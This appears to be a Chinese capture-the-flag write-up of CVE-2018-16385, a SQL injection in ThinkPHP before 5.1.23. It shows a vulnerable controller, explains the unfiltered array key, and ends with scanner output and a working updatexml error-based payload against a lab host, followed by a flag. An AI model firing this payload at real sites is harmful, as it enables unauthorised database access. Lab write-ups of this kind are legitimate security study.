目录
漏洞描述
漏洞发现时间: 2018-09-04
**CVE 参考:**CVE-2018-16385
**最高严重级别:**低风险
**受影响的系统:**ThinkPHP < 5.1.23
漏洞描述:
ThinkPHP是一款快速、兼容、简单的轻量级国产PHP开发矿场,解决了大部分应用开发的需求。
该漏洞与程序没有正确过滤数组的Key值,导致在public/index/index/test/index中查询字符串时出现SQL注入漏洞有关。攻击者可以利用该漏洞获取数据库中当前用户名等数据。
漏洞分析
php
<?php
namespace app\index\controller;
class Test
{
public function index()
{
$data=array();
$data['username']=array('eq','admin');
$order=input('get.order');//使用input函数进行安全过滤
$m=db('user')->where($data)->order($order)->find();
dump($m);
}
}
漏洞原因是处理order by参数时,如果参数用户是可控的,当参数为数组key value时,未正确过滤处理数组的key值,就会导致漏洞的产生。
首先定义了一个Test类,该类包含一个名为index的公共方法。在该方法中,首先创建了一个空数组data。然后,将值为\`array('eq', 'admin')\`的一维数组赋给data['username'],即data数组中的一个元素。接下来,使用\`input('get.order')\`语句获取来自GET请求的\`order\`参数,并将其赋给order变量。需要注意的是,这里使用了input函数对输入数据进行了安全过滤。接下来,代码使用db('user')-\>where(data)语句查询数据库中满足data条件的数据。然后,使用order变量对查询结果进行排序,最后使用find()方法返回查询结果的第一个匹配项,并将其存储在m变量中。最后使用dump函数打印m变量的内容。
漏洞复现
php
payload
[!] Name: ThinkPHP5 SQL Injection Vulnerability && Sensitive Information Disclosure Vulnerability
Script: thinkphp5_sqli.py
Url: http://node5.buuoj.cn:29791/
Vulnerable: True
Method: GET
Payload: http://node5.buuoj.cn:29791/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
php
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
经过poc验证,此版本的thinkphp存在sql注入漏洞!
flag{1ffdbdc4-020e-4d98-bb49-ccabed232769}
具体漏洞分析!